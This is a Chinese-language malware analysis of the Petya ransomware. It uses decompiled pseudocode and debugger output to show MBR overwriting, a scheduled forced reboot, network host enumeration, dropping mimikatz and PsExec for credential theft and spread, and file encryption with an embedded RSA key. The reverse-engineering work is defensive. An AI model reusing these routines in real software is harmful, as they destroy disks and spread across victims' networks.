

Petya病毒（永恒之蓝的变种勒索软件）分析

by:bird

1. 病毒描述:

今年6月，Petya病毒在乌克兰传播开来。本次分析的Petya病毒样本利用“永恒之蓝”和“永恒浪漫”两个漏洞进行传播；还通过内网利用，使用系统的WMIC和Sysinternals的PsExec传播，Petya病毒会通过修改硬盘的MBR，系统重启后对硬盘数据进行加密。Petya作为勒索病毒，但此次的病毒却专门搞破坏，对支付赎金处理的草率，其破坏意图明显。硬盘里的文件被加密（C:\Windows下的文件除外），无法恢复，具有内网利用和使用“永恒之蓝”和“永恒浪漫”漏洞进行传播，危害巨大。

2. 分析环境

操作机: windows7 X86 sp1

IP: 192.168.128.110

IDA Pro: 静态分析病毒

Olldbg: 动态分析病毒

IDA插件IDAscope

3. 分析目的

通过分析Petya来了解病毒分析过程，将对Petya病毒利用的流程进行详细的分析，并在最后给出修复建议。


4. 分析步骤

1. 设置权限

用IDA打开病毒样本，然后点击File->Script file打开IDAscope文件

首先病毒设置了当前进程的权限，尝试设置SeShutdownPrivilege, SeDebugPrivilege,

SeTchPrivilege 权限，通过设置变量v0，每设置成功权限对v0进行或操作，最后权限设置完毕后v0=7，并且将该值赋值给全局变量privilege_flag，用来记录权限的情况。



```
1 void privileges_flag()
2 {
3     signed int v0; // esi@1
4
5     v0 = 0;
6     if ( !dword_1001F114 )
7     {
8         TickTime = GetTickCount();
9         if ( AdjustPrivilege(L"SeShutdownPrivilege") )
10            v0 = 1;
11         if ( AdjustPrivilege(L"SeDebugPrivilege") )
12            v0 |= 2u;
13         if ( AdjustPrivilege(L"SeTcbPrivilege") )
14            v0 |= 4u;
15         privilege_flag = v0;
16         process_flag = Enum_process();
17         if ( GetModuleFileNameW(Src, &pszPath, 0x30Cu) )
18            File_sub_10008ACF();
19     }
20 }
```

随后对进程进行枚举，并通过某算法对进程的名称进行hash运算，将结果与0x2e214b44，0x6403527e，0x651b3005 进行比较以此来判断当前系统是否存在相关安全软件，之后对其进行标记来判断是否该执行漏洞感染和修改MBR



```
14 ret = 0xFFFFFFFF;
15 hSnapshot_current_proc = CreateToolhelp32Snapshot(2u, 0); // 获得当前进程快照
16 if ( hSnapshot_current_proc != (HANDLE)-1 )
17 {
18     pe.dwSize = 556;
19     if ( Process32FirstW(hSnapshot_current_proc, &pe) ) // 检查安全软件
20     {
21         do
22         {
23             res = 0x12345678;
24             j = 0;
25             len = wcslen(pe.szExeFile);
26             do
27             {
28                 i = 0;
29                 if ( len )
30                 {
31                     z = j;
32                     do
33                     {
34                         u4 = (char *)&res + (z & 3);
35                         u5 = (*u4 ^ LOBYTE(pe.szExeFile[i++])) - 1;
36                         ++z;
37                         *u4 = u5;
38                     }
39                     while ( i < len );
```

```

33      {
34          v4 = (char *)&res + (z & 3);
35          v5 = (*v4 ^ LOBYTE(pe.szExeFile[i++])) - 1;
36          ++z;
37          *v4 = v5;
38      }
39      while ( i < len );
40  }
41  ++j;
42  }
43  while ( j < 3 );
44  if ( res == 0x2E214B44 )
45  {
46      ret &= 0xFFFFFFFF7;           // 清楚修改MBR标记
47  }
48  else if ( res == 0x6403527E || res == 0x651B3005 )
49  {
50      ret &= 0xFFFFFFFFFB;         // 清除漏洞感染标记
51  }
52  }
53  while ( Process32NextW(hSnapshot_current_proc, &pe) );
54  }
55  CloseHandle(hSnapshot_current_proc);
56  }
57  return ret;
58  }

```

2. 替换MBR

```

sub_10006A2B((LPCWSTR)Thread);
if ( privilege_flag & 2 )
{
    check_file_exists();
    Replace_MBR();           // 替换系统MBR
}

```

进入修改MBR 的过程，病毒首先检查权限问题，之后检查C:\Windows\petya 文件时候存在，不存在则创建一个

```

1 int check_file_exists()
2 {
3     int v0; // esi@1
4     WCHAR pszPath; // [sp+4h] [bp-618h]@1
5
6     v0 = 0;
7     if ( check_file_ext(&pszPath) )
8     {
9         if ( PathFileExistsW(&pszPath) )
10             ExitProcess(0);
11         v0 = (char *)CreateFileW(&pszPath, 0x40000000u, 0, 0, 2u, 0x40000000u, 0) + 1 != 0;
12     }
13     return v0;
14 }

```

Petya, 随后获取分区类型

```
Im... Ex... ID... Ps... Ps... Ps... Ps... Ps... Ps...
19 if ( v5 > 0 )
20     v5 = (unsigned __int16)v5 | 0x80070000;
21     v2 = v5;
22 }
23 else
24 {
25     if ( DeviceIoControl(v4, 0x70048u, 0, 0, &OutBuffer, 0x90u, &BytesReturned, 0) )
26     {
27         *(_DWORD *)a2 = OutBuffer;
28     }
29     else
30     {
31         v6 = GetLastError();
32         if ( v6 > 0 )
33             v6 = (unsigned __int16)v6 | 0x80070000;
34         v2 = v6;
35     }
36     CloseHandle(v4);
37 }
38 result = v2;
39 }
40 else
41 {
42     result = -2147024809;
43 }
44 return result;
45 }

00000670 File_sub_1000122D:19
```

当分区类型为MBR格式时进行修改MBR操作，接下来生成60字节的随机数

```
Im... Ex... ID... Ps... Ps... Ps... Ps... Ps... Ps...
1 int __stdcall Crypt_Gen_key_0(BYTE *hkey, DWORD dwLen)
2 {
3     int v2; // eax@2
4     int v3; // eax@6
5     HCRYPTPROV phProv; // [sp+Ch] [bp-4h]@1
6
7     phProv = 0;
8     if ( CryptAcquireContextA(&phProv, 0, 0, 1u, 0xF0000000) )
9         goto LABEL_14;
10    v2 = GetLastError();
11    if ( v2 > 0 )
12        v2 = (unsigned __int16)v2 | 0x80070000;
13    res = v2;
14    if ( v2 >= 0 )
15    {
16    LABEL_14:
17        if ( !CryptGenRandom(phProv, dwLen, hkey) )
18        {
19            v3 = GetLastError();
20            if ( v3 > 0 )
21                v3 = (unsigned __int16)v3 | 0x80070000;
22            res = v3;
23        }
24    }
25    if ( phProv )
26        CryptReleaseContext(phProv, 0);
27    return res;
28 }

00000824 Crypt_Gen_key_0:1
```

并对随机数进一步处理，通过模58 的值作

为str_("23456789ABCDEFGHIJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz")的索引，成为勒索软件界面显示的虚类号

```

76 {
77     result = 0x80070032;
78 LABEL_50:
79     res = result;
80     return result;
81 }
82 result = Crypt_Gen_key_0(&hKey, 0x3Cu); // gen key
83 res = result;
84 if ( result >= 0 )
85 {
86     i = 0;
87     do
88     {
89         v2 = *(&hKey + i++) % 58u;
90         *(&hkey_new + i) = str_[v2];
91     }
92     while ( i < 0x3C );
93     result = File_Read_MBR_sub_100012D5(&FileName, &old_MBR); // 读取原始MBR
94     res = result;
95     if ( result >= 0 )
96     {
97         v3 = &v30;
98         v4 = 4;
99         v5 = 0;
100     do
101     {

```

开始读取MBR 数据

```

1 int __stdcall File_Read_MBR_sub_100012D5(LPCSTR lpFileName, void *old_MBR_)
2 {
3     int v2; // esi@1
4     int result; // eax@2
5     HANDLE handle; // ebx@3
6     signed __int32 v5; // eax@4
7     signed __int32 v6; // eax@9
8     DWORD NumberOfBytesRead; // [sp+10h] [bp-4h]@1
9
10    v2 = 0;
11    NumberOfBytesRead = 0;
12    if ( lpFileName )
13    {
14        memset(old_MBR_, 0, 0x200u);
15        handle = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0, 0);
16        if ( handle == (HANDLE)-1 )
17        {
18            v5 = GetLastError();
19            if ( v5 > 0 )
20                v5 = (unsigned __int16)v5 | 0x80070000;
21            v2 = v5;
22        }
23        else
24        {
25            if ( !SetFilePointerEx(handle, 0i64, 0, 0) || !ReadFile(handle, old_MBR_, 0x200u, &NumberOfByte
26            {
27                v6 = GetLastError();

```

打开程序进行动态分析

The screenshot shows a debugger interface with three main panes:

- Assembly Pane:** Displays assembly instructions. The current instruction is `call test_pet.012A1749` at address `012A12C5`. Other instructions include `mov edi,edi`, `db 55`, `db 8B`, `db EC`, `db 81`, `db EC`, `db 28`, `db 03`, `db 00`, `db 00`, `db A3`, `dd test_pet.012A3140`, `db 89`, `db 0D`, `dd test_pet.012A313C`, `db 89`, `db 15`, `dd test_pet.012A3138`, and `db 89`.
- Registers (FPU) Pane:** Shows the state of CPU registers. EAX is `753B33B8` (kernel32.BaseThreadID). ECX is `00000000`. EDX is `012A12C5` (test_pet.<ModuleEnt...). ESP is `002CF90C`. EBP is `002CF914`. ESI is `00000000`. EDI is `00000000`. EIP is `012A12C5` (test_pet.<ModuleEnt...). Other registers like CS, SS, DS, FS, GS, and ST are also shown.
- Memory Pane:** Shows a memory dump starting at address `012A2000`. It displays hex data, ASCII characters, and comments. Comments include `返回到 kernel32.753B33CA` and `返回到 ntdll_1a.77819ED2`.

读取完后，对原MBR进行异或7 操作

The screenshot shows a C++ code editor with the following code:

```

109     v5 = 0;
110     if ( v5 <= 0x28 )
111     {
112         result = 0x80070272;
113         goto LABEL_50;
114     }
115     memcpy(&old_MBR_, &old_MBR, 0x200u);
116     j = 0;
117     do
118     {
119         *(&old_MBR_ + j) ^= 7u;           // 与7 异或，加密
120         ++j;
121     }
122     while ( j < 0x200 );
123     memset(&v21, 7, 0x200u);
124     Buffer = 0;
125     result = Crypt_Gen_key_0(&hkey2, 0x20u);
126     res = result;
127     if ( result >= 0 )
128     {
129         result = Crypt_Gen_key_0(&hkey3, 8u);
130         res = result;
131         if ( result >= 0 )
132         {
133             memcpy(&str2, "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX", 34u);
134             v7 = &Src;
135             v35 = 0;

```

A red box highlights the XOR loop from line 117 to 122. The comment `// 与7 异或，加密` indicates that the data is being XORed with the value 7 for encryption.

接着读取Petya的MBR ， 将恶意代码一并读取

```

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{
    if ( v9 > 0x156 )
        v9 = 342;
    memcpy(v36, &Src, v9);
    v36[v9] = 0;
}
mem1 = (void *)o_alloc_buf(512);
mem1_ = mem1;
if ( mem1 )
{
    memcpy(mem1, &virus_MBR, 0x200u); // 将病毒的MBR 保存到内存
    result = 0;
}
else
{
    result = 0x8007000E;
}
res = result;
if ( result >= 0 )
{
    mem2 = (void *)o_alloc_buf(0x22B1);
    mem2_ = mem2;
    if ( mem2 )
    {
        Size = 0x22B1;
        memcpy(mem2, &virus_code, 0x22B1u);
        result = 0;
    }
    else
    {
        result = 0;
    }
}
else
{
    result = 0x8007000E;
}
res = result;
if ( result >= 0 )
{
    mem2 = (void *)o_alloc_buf(0x22B1);
    mem2_ = mem2;
    if ( mem2 )
    {
        Size = 0x22B1;
        memcpy(mem2, &virus_code, 0x22B1u);
        result = 0;
    }
    else
    {
        result = -2147024882;
    }
}
res = result;
if ( result >= 0 )
{
    v44 = Size - (Size & 511) + 1024;
    mem3 = o_alloc_buf(v44); // 2600h
}
}

```

Petya 申请了一块大内存，将原MBR 数据复制进去，并填充分区信息

```

181         result = -2147024882;
182         goto LABEL_50;
183     }
184     memcpy((void *)mem3, mem1_, 0x200u);
185     *(_DWORD *)(mem3 + 440) = v27; // 第一扇区的440偏移
186     *(_WORD *)(mem3 + 444) = v28;
187     v14 = &v29;
188     mem3_offset_446 = mem3_ + 446;
189     count = 4;
190     do
191     {
192         *(_DWORD *)mem3_offset_446 = *(_DWORD *)v14;
193         *(_DWORD *)(mem3_offset_446 + 4) = *(_DWORD *)v14 + 1;
194         *(_DWORD *)(mem3_offset_446 + 8) = *(_DWORD *)v14 + 2;
195         v18 = v14 + 12;
196         v17 = (_DWORD *)mem3_offset_446 + 12;
197         v14 += 16;
198         mem3_offset_446 += 16;
199         --count;
200         *v17 = *v18;
201     }
202     while ( count );
203     memcpy((void *)mem3 + 512, mem2_, Size); // 从第二扇区开始复制
204     num = v44 >> 9; // 要写入的扇区总数, 13扇区
205     result = 0;
206     if ( v44 >> 9 )
207     {

```

继续复制512字节的恶意代码，并且将大内存的数据写入硬盘

```

199         --count;
200         *v17 = *v18;
201     }
202     while ( count );
203     memcpy((void *)mem3 + 512, mem2_, Size); // 从第二扇区开始复制
204     num = v44 >> 9; // 要写入的扇区总数, 13扇区
205     result = 0;
206     if ( v44 >> 9 )
207     {
208         i_ = 0;
209         if ( num )
210         {
211             do
212             {
213                 result = WriteToDisk(i_, &FileName, (LPCVOID)mem3_); // 开始向磁盘写入数据
214                 if ( result < 0 )
215                     break;
216                 ++i_;
217                 mem3_ += 512;
218             }
219             while ( i_ < num );
220         }
221     }
222     else
223     {
224         result = -2147024889;
225     }

```

继续从32扇区写入数据


```
Im... Ex... ID... Ps... Ps... Ps... Ps... Ps... Ps...
212 {
213     result = WriteToDisk(i_, &FileName, (LPCVOID)mem3_); // 开始向磁盘写入数据
214     if ( result < 0 )
215         break;
216     ++i_;
217     mem3_ += 512;
218 }
219 while ( i_ < num );
220 }
221 }
222 else
223 {
224     result = -2147024809;
225 }
226 res = result;
227 if ( result >= 0 )
228 {
229     result = WriteToDisk(32, &FileName, &Buffer); // 向第32扇区写入
230     res = result;
231     if ( result >= 0 )
232     {
233         result = WriteToDisk(33, &FileName, &v21); // 填充7
234         res = result;
235         if ( result >= 0 )
236         {
237             int
238             result = WriteToDisk(34, &FileName, &old_MBR); // 向34扇区保存异或后的原MBR
239             goto LABEL_50;
240         }
241     }
242 }
```

32扇区填充..., 33 扇区填充7, 34扇区填充异或之后的原始MBR

3. 计划任务

Petya在修改MBR 完后, 设置关机的任务计划

```
Im... Ex... ID... Ps... Ps... Ps... Ps... Ps... Ps...
14 GetLocalTime(&SystemTime);
15 s = is_time();
16 if ( s < 0xA )
17     s = 10;
18 min = (s + 3) % 60 + SystemTime.wMinute;
19 hours = ((s + 3) / 60 + SystemTime.wHour) % 24; // 设置要关机的时间
20 if ( GetSystemDirectoryW(&shutdown_cmd, 0x30Cu) && PathAppendW(&shutdown_cmd, L"shutdown.exe /r /f")
21 {
22     if ( check_system_version() )
23     {
24         v4 = L"/RU \\\"SYSTEM\\\" ";
25         if ( !(privilege_flag & 4) )
26             v4 = (const wchar_t *)&unk_10014388;
27         wprintfW(
28             &command,
29             L"schtasks %ws/Create /SC once /TN \\\"\\\" /TR \\\"%ws\\\" /ST %02d:%02d",
30             v4,
31             &shutdown_cmd,
32             hours,
33             min); // 计划任务
34     }
35     else
36     {
37         wprintfW(&command, L"at %02d:%02d %ws", hours, min, &shutdown_cmd); // 使用at 命令来计划任务
38     }
39     v7 = 0;
40     v0 = Scheduler_task_reboot((int)&command, 0); // 如果是管理员则执行命令
```

Petya使用绝对路径来拼接shutdown 命令, 然后判断操作系统是否为win7, 并且检查是否有权限, 最后通过schtask 命令来设置任务计划

74738588	50	push petya.747385B2
74738589	FF15 58D27374	push eax
7473858F	83C4 18	call dword ptr ds:[<&USER32.wsprintfW>]
74738592	EB 1E	add esp,0x18
74738594	8D85 D8F9FFFF	jmp short petya.747385B2
7473859A	50	lea eax,dword ptr ss:[ebp-0x628]
push eax		
esp=0042A314		

地址	HEX 数据	UNICODE
0042A338	73 00 63 00 68 00 74 00 61 00 73 00 6B 00 73 00	schtasks
0042A348	20 00 2F 00 43 00 72 00 65 00 61 00 74 00 65 00	/Create
0042A358	20 00 2F 00 53 00 43 00 20 00 6F 00 6E 00 63 00	/SC onc
0042A368	65 00 20 00 2F 00 54 00 4E 00 20 00 22 00 22 00	e /TN ""
0042A378	20 00 2F 00 54 00 52 00 20 00 22 00 43 00 3A 00	/TR "C:
0042A388	5C 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00	\Windows
0042A398	5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00	\system3
0042A3A8	32 00 5C 00 73 00 68 00 75 00 74 00 64 00 6F 00	2\shutdo

如果不是win7 系统的话，则通过at 命令来执行关机的任务计划

```

L"schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d",
v4,
&shutdown_cmd,
hours,
min);
// 计划任务
}
else
{
    wsprintfW(&command, L"at %02d:%02d %ws", hours, min, &shutdown_cmd); // 使用at 命令来计划任务
}
v7 = 0;
v0 = Scheduler_tast_reboot((int)&command, 0); // 如果是管理员则执行命令

```

接下来就是要执行关机计划任务的命令，这里先判断是否为管理员

```

1|bool __userpurge Scheduler_tast_reboot@eax(int command@eax, int a2)
2|{
3|    int cmd; // esi@1
4|    bool v3; // edi@1
5|    signed int v4; // ecx@4
6|    struct _PROCESS_INFORMATION *processInfor; // eax@4
7|    signed int v6; // edx@6
8|    struct _STARTUPINFO *startupInfo; // eax@6
9|    WCHAR args; // [sp+Ch] [bp-E6Ch]@1
10|    WCHAR admin_cmd; // [sp+80Ch] [bp-66Ch]@1
11|    struct _STARTUPINFO StartupInfo; // [sp+E24h] [bp-54h]@6
12|    struct _PROCESS_INFORMATION ProcessInformation; // [sp+E68h] [bp-10h]@4
13|
14|    cmd = command;
15|    v3 = 0;
16|    wsprintfW(&args, L"/c %ws", command);
17|    *(_WORD *)(&cmd + 2046) = 0;
18|    if ( GetEnvironmentVariableW(L"ComSpec", &admin_cmd, 0x30Cu) // {C:WINDOWS\system32\cmd.exe}
19|        || GetSystemDirectoryW(&admin_cmd, 0x30Cu) && lstrcatW(&admin_cmd, L"\\cmd.exe") )
20|    {
21|        v4 = 16;
22|        processInfor = &ProcessInformation;
23|        do
24|        {
25|            LOBYTE(processInfor->hProcess) = 0;
26|            processInfor = (struct _PROCESS_INFORMATION *)((char *)processInfor + 1);
27|            --v4;

```

然后创建进程来设置关机任务

```

23 do
24 {
25     LOBYTE(processInfo->hProcess) = 0;
26     processInfo = (struct _PROCESS_INFORMATION *)((char *)processInfo + 1);
27     --v4;
28 }
29 while ( v4 );
30 v6 = 68;
31 startupInfo = &StartupInfo;
32 do
33 {
34     LOBYTE(startupInfo->cb) = 0; // cb : the size of structure in bytes
35     startupInfo = (struct _STARTUPINFO *)((char *)startupInfo + 1);
36     --v6;
37 }
38 while ( v6 );
39 startupInfo.cb = 68;
40 v3 = CreateProcessW(&admin_cmd, &args, 0, 0, 0, 0x80000000u, 0, 0, &StartupInfo, &ProcessInformation);
41 if ( v3 )
42     Sleep(1000 * a2);
43 }
44 return v3;
45 }

```

0000784A : 38

```

00429CB4 ModuleFileName = "C:\Windows\system32\cmd.exe"
004294B4 CommandLine = "/c schtasks /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /F" /ST 19:40"
00000000 pProcessSecurity = NULL
00000000 pThreadSecurity = NULL
00000000 InheritHandles = FALSE
08000000 CreationFlags = CREATE_NO_WINDOW
00000000 pEnvironment = NULL
00000000 CurrentDir = NULL
0042A2CC pStartupInfo = 0042A2CC
0042A310 pProcessInfo = 0042A310
00000013
00000028

```

4. 获取IP

Petya 通过开启一个线程来循环获取ip

```

1 void __stdcall __noreturn scan_net_ip_add_to_remote_ip_list(LPVOID lpThreadParameter)
2 {
3     struct _RTL_CRITICAL_SECTION *remote_ip_list; // edi@1
4     signed int v2; // esi@3
5     DWORD *v3; // [sp+0h] [bp-218h]@0
6     BOOL v4; // [sp+4h] [bp-214h]@0
7     ULONG v5; // [sp+8h] [bp-210h]@0
8     TCP_TABLE_CLASS netbios_name[130]; // [sp+Ch] [bp-20Ch]@1
9     DWORD nSize; // [sp+214h] [bp-4h]@1
10
11     remote_ip_list = (struct _RTL_CRITICAL_SECTION *)::remote_ip_list;
12     add_remote_info_to_petya_object((char *)L"127.0.0.1", 1, (struct _RTL_CRITICAL_SECTION *)::remote_ip_list);
13     add_remote_info_to_petya_object((char *)L"localhost", 1, remote_ip_list);
14     nSize = 260;
15     if ( GetComputerNameExW(ComputerNamePhysicalNetBIOS, (LPWSTR)netbios_name, &nSize) )
16         add_remote_info_to_petya_object((char *)netbios_name, 1, remote_ip_list);
17     CreateThread(0, 0, get_net_ip_add_to_rmeote_ip_list, remote_ip_list, 0, 0); // 获取局域网里的ip 并添
18     v2 = 0;
19     while ( 1 )
20     {
21         insert_tcp_endpoint_in_petya_list(remote_ip_list, v3, v4, v5, netbios_name[0], netbios_name[1]);
22         insert_remote_ip_list_by_ipnet_table(remote_ip_list);
23         if ( !v2 )
24         {
25             test_domain((int)remote_ip_list, 0x80000000, 0); // 遍历域控环境内的域控服务器
26             v2 = 1;
27         }
28     }
29 }

```

该线程中不断的对ip遍历并将它们添加到remote_ip_list 中

```

37 hMem = adapter;
38 if ( adapter )
39 {
40     if ( !GetAdaptersInfo(adapter, (PULONG)&SizePointer) )// 获得网络适配器信息
41     {
42         do // 循环添加ip 包括dhcp 服务器的ip
43         {
44             if ( j >= 0x400 )
45                 break;
46             *(&ipAddr + 2 * j) = inet_addr(adapter->IpAddressList.IpAddress.String);
47             mask[2 * j] = inet_addr(adapter->IpMask.String);
48             IpAddr = (char *)MultiBytes_(adapter->IpAddressList.IpAddress.String);
49             IpMem = IpAddr;
50             if ( IpAddr )
51             {
52                 add_remote_info_to_petya_object(IpAddr, 1, (struct _RTL_CRITICAL_SECTION *)remote_ip_list);
53                 v4 = GetProcessHeap();
54                 HeapFree(v4, 0, IpMem);
55             }
56             if ( adapter->DhcpEnabled )
57             {
58                 dhcpServer = (char *)MultiBytes_(adapter->DhcpServer.IpAddress.String);
59                 IpMema = dhcpServer;
60                 if ( dhcpServer )
61                 {
62                     add_remote_info_to_petya_object(dhcpServer, 0, (struct _RTL_CRITICAL_SECTION *)remote_ip_list);
63                     v6 = GetProcessHeap();

```

接下来还会判断是否为域控

```

69 }
70 while ( adapter );
71 if ( is_domain_controller() )
72     enum_subnet_add_remote_ip_list((struct _RTL_CRITICAL_SECTION *)remote_ip_list);
73 if ( j > 0 )
74 {
75     do
76     {
77         v7 = LocalAlloc(0x400, 0xCu);
78         if ( v7 )
79         {
80             netmask = inet_addr("255.255.255.255");
81             mask_ = mask[2 * i];
82             net_id = mask_ & *(&ipAddr + 2 * i);
83             if ( mask_ & *(&ipAddr + 2 * i) )
84             {
85                 lpMemb = (LPVOID)(net_id | mask_ ^ netmask);// ???
86                 if ( lpMemb )
87                 {
88                     *v7 = ntohl(net_id);
89                     v7[1] = ntohl((u_long)lpMemb);
90                     v7[2] = remote_ip_list;
91                     v11 = CreateThread(0, 0, Ws2_sub_10008E04, v7, 0, 0);
92                     if ( v11 )
93                         *(&hObject + i) = v11;
94                 }
95             }

```

如果是域控则会继续枚举子网，并将它们添加到remote_ip_list 表中

```
Im... Ex... ID... Ps... Ps... Ps... Ps... Ps... Ps...
42 nSize = 260;
43 GetComputerNameExW(ComputerNamePhysicalNetBIOS, (LPWSTR)&Buffer, &nSize); // 获取netbios name, 枚举子
44 if ( !DhcpEnumSubnets((WCHAR *)&Buffer, &ResumeHandle, 0x400u, &EnumInfo, &ElementsRead, &ElementsTo
45 {
46     v14 = EnumInfo->NumElements;
47     if ( v14 > 0 )
48     {
49         do
50         {
51             if ( !DhcpGetSubnetInfo(0, EnumInfo->Elements[v1], &SubnetInfo)
52                 && SubnetInfo->SubnetState == DhcpSubnetEnabled
53                 && !DhcpEnumSubnetClients(0, EnumInfo->Elements[v1], &v18, 0x10000u, &ClientInfo, &ClientsRe
54             {
55                 v3 = ClientInfo->NumElements;
56                 v16 = v3;
57                 if ( v3 && i < v3 )
58                 {
59                     do
60                     {
61                         v4 = ClientInfo->Clients[i];
62                         if ( v4 )
63                         {
64                             addr = ntohl(v4->ClientIpAddress);
65                             if ( test_139_445_port(addr) )
66                             {
67                                 addr_ = ntohl(v4->ClientIpAddress);
68                                 client_addr = inet_ntoa((struct in_addr)addr_);
```

5. 释放mimikatz

Petya 在该环节，先判断操作系统的位数，然后去查找资源，对其进行解码

```
28 lpMem = 0;
29 mini_path = 0;
30 v0 = GetCurrentProcess();
31 v20 = 0;
32 v1 = GetModuleHandleW(L"kernel32.dll");
33 IsWow64Process = GetProcAddress(v1, "IsWow64Process");
34 if ( IsWow64Process )
35     ((void (__stdcall *) (HANDLE, int *))IsWow64Process)(v0, &v20); // 系统64?32位?
36 v3 = FindResourceW(Src, (LPCWSTR)((v20 != 0) + 1), (LPCWSTR)10); // Application-defined resource (ra
37 if ( v3 )
38     result = resource_decompress_zlib(&lpMem, (int)&mini_path, v3);
39 else
40     result = 0;
41 if ( result )
42 {
43     if ( GetTempPathW(0x200u, &Buffer) )
44     {
```

将解码后的内容写入临时文件

堆栈地址=0042AAD0, (UNICODE "C:\Users\...\AppData\Local\Temp\9EA7.tmp")
eax=00000001

```

53 pipe_name = 0;
54 if ( StringFromCLSID(&pguid, &pipe_name) >= 0 )
55 {
56     if ( write_files((const WCHAR *)mini_path, &TempFileName, lpMem) )// 输出到文件
57     {
58         wprintfW(&pipe, L"\\\\.\\pipe\\%s", pipe_name);
59         hThread = CreateThread(0, 0, thread_mini_pipe, &pipe, 0, 0);// 创建管道
60         if ( hThread )
61         {
62             ProcessInformation.hProcess = 0;
63             ProcessInformation.hThread = 0;
64             ProcessInformation.dwProcessId = 0;
65             ProcessInformation.dwThreadId = 0;
66             memset(&Dst, 0, 0x44u);
67             v16 = 0;
68             Dst = 68;
69             wprintfW(&CommandLine, L"\\\"%s\\\" %s", &TempFileName, &pipe);
70             if ( CreateProcessW(
71                 &TempFileName,
72                 &CommandLine,
73                 0,
74                 0,
75                 0,
76                 0x8000000u,
77                 0,
78                 0,
79                 (LPSTARTUPINFOF)&Dst,

```

接下来创建管道，使用管道来进行子进程之间的通信 **Petya** 启动一个线程来获取接下来要创建的子进程的执行结果

```

73         0,
74         0,
75         0,
76         0x80000000u,
77         0,
78         0,
79         (LPSTARTUPINFO)&Dst,
80         &ProcessInformation) )
81     {
82         WaitForSingleObject(ProcessInformation.hProcess, 0xEA60u); // 等待进程结束
83         lock_esi_petya_list((int)remote_pwd);
84         TerminateThread(hThread, 0);
85     }
86     CloseHandle(hThread);
87 }
88 v5 = mini_path;
89 for ( i = lpMem; v5; --v5 )
90     *i++ = 0;
91 write_files((const WCHAR *)mini_path, &TempFileName, lpMem);
92 DeleteFileW(&TempFileName);
93 }
94 CoTaskMemFree(pipe_name);
95 }

```

管道线程将其获取到的密码加入到密码列表当中

```

44     v5 = TotalBytesAvail;
45     v6 = GetProcessHeap();
46     buffer = HeapAlloc(v6, 8u, v5);
47     if ( buffer )
48     {
49         NumberOfBytesRead = 0;
50         if ( ReadFile(hNamedPipe, buffer, TotalBytesAvail, &NumberOfBytesRead, 0)
51             && NumberOfBytesRead == TotalBytesAvail )
52         {
53             v8 = StrChrW(buffer, ':');
54             if ( v8 )
55             {
56                 *(_WORD *)v8 = 0;
57                 add_remote_pwd_to_petya_remote_list(buffer, (void *)v8 + 2, 2);
58             }
59         }
60         v9 = GetProcessHeap();
61         HeapFree(v9, 0, buffer);
62     }
63 LABEL_18:
64     FlushFileBuffers(hNamedPipe);
65     DisconnectNamedPipe(hNamedPipe);
66 LABEL_19:
67     CloseHandle(hNamedPipe);
68     goto LABEL_4;

```

最后minikatz 执行完之后使用\x00 来填充该临时文件

6. 释放psexec

与minikatz 文件释放相同，查找资源之后通过解码，写入到C:\windows\dllhost.dat 文件当中

```

43  if ( v5 && v5 + 12 < 0x104 )
44  {
45      PathAppendW(::lpMem, L"dllhost.dat");
46      goto LABEL_13;
47  }
48 LABEL_12:
49  v6 = ::lpMem;
50  v7 = GetProcessHeap();
51  HeapFree(v7, 0, v6);
52  ::lpMem = 0;
53 LABEL_13:
54  if ( ::lpMem )
55  {
56      if ( Create_dll(v15, ::lpMem, lpMem, 0) ) // 释放dllhost.dat
57      {
58 LABEL_17:
59          v13 = 1;
60          goto LABEL_18;
61      }
62      dwErrCode = GetLastError();
63      if ( dwErrCode == 80 )
64      {
65          dwErrCode = 0;
66          goto LABEL_17;
67      }
68  }
69 LABEL_18:

```

```

C:\Windows>type dllhost.dat
MZ? ♥ ♦ ? @ ? ⅈ? ???L?This
program cannot be run in DOS mode.
$ <钜均佬踴佬踴佬踴?踴佬踴?踴佬踴?踴佬踴徑變佬踴?塹佬踴?踴佬踴?踴佬踴ichx
佬? PE L? ?踴 ? ♥? ⅈ H? p♥ U? ⅈ
? 厝 ? x± 'c? L 勿? e
' ⅈ? .text zG? ⅈ H? ♦ '.rdata
达 ' ? L? e e.data 渲? ? e ?rsrc 厝
? ? ? e e

```

7. 文件加密

这里的加密使用的是永恒之蓝漏洞，Petya 启动一个线程来加密文件


```

13  hKey = 1 << v1;
14  if ( (1 << v1) & hDriver )
15  {
16      RootPathName[0] = v1 + 65;
17      RootPathName[1] = 58;
18      v4 = '\\';
19      hKey = GetDriveTypeW(RootPathName);
20      if ( hKey == 3 ) // 如果是硬盘或闪存
21      {
22          hKey = (signed int)LocalAlloc(0x40u, 0x20u); // 0x20 字节大小的zero memory
23          if ( hKey )
24          {
25              *(_DWORD *)(hKey + 16) = L"MIIBCgKCAQEAxP/UqKc0yLe9JhVqFMQGWUIT06WpXWnKSNQAYT0065Cr8PjIQInT
26                  "0Zr1Q/wcYJBwLhQ9EqJ3iDqmN190o7NtyEUmbYmopcq+YLIBZzQ22TK0A2DtX4GR
27                  "Uy/+mf0JFWixz29QitF5oLu15wVLONCuEibGaNNpgq+CXsPwFITDbDDmdrRIiUEU
28                  "TZu6zfzuts7KaFP5UA8/0Hmf5K3/F9MF9SE68EZjK+cIiF1KeWndP0XFRCYXI9A
29                  "vLe0n42LHFUK4o6JwIDAQAB";
30              *(_DWORD *)(hKey + 28) = 0;
31              *(_DWORD *)hKey = *(_DWORD *)RootPathName;
32              *(_DWORD *)(hKey + 4) = v4;
33              hKey = (signed int)CreateThread(0, 0, Crypt_StartAddress, (LPVOID)hKey, 0, 0);
34          }
35      }
36  }
37  --v1;
38  }

```

00001357 EncryptFILE:33

线程先生成密钥，遍历硬盘文件并加密，之后创建README.TXT 文件，最后销毁密钥

```

23  else
24  {
25      if ( v1 != 0x80090016 )
26      {
27  LABEL_10:
28          hKey = hcryptKey;
29          goto LABEL_11;
30      }
31      v5 = 8;
32      v4 = L"Microsoft Enhanced RSA and AES Cryptographic Provider";
33  }
34  if ( !CryptAcquireContextW((HCRYPTPROV *)hcryptKey + 2, 0, v4, 0x18u, v5) )
35      goto LABEL_10;
36  LABEL_7:
37      hKey = hcryptKey;
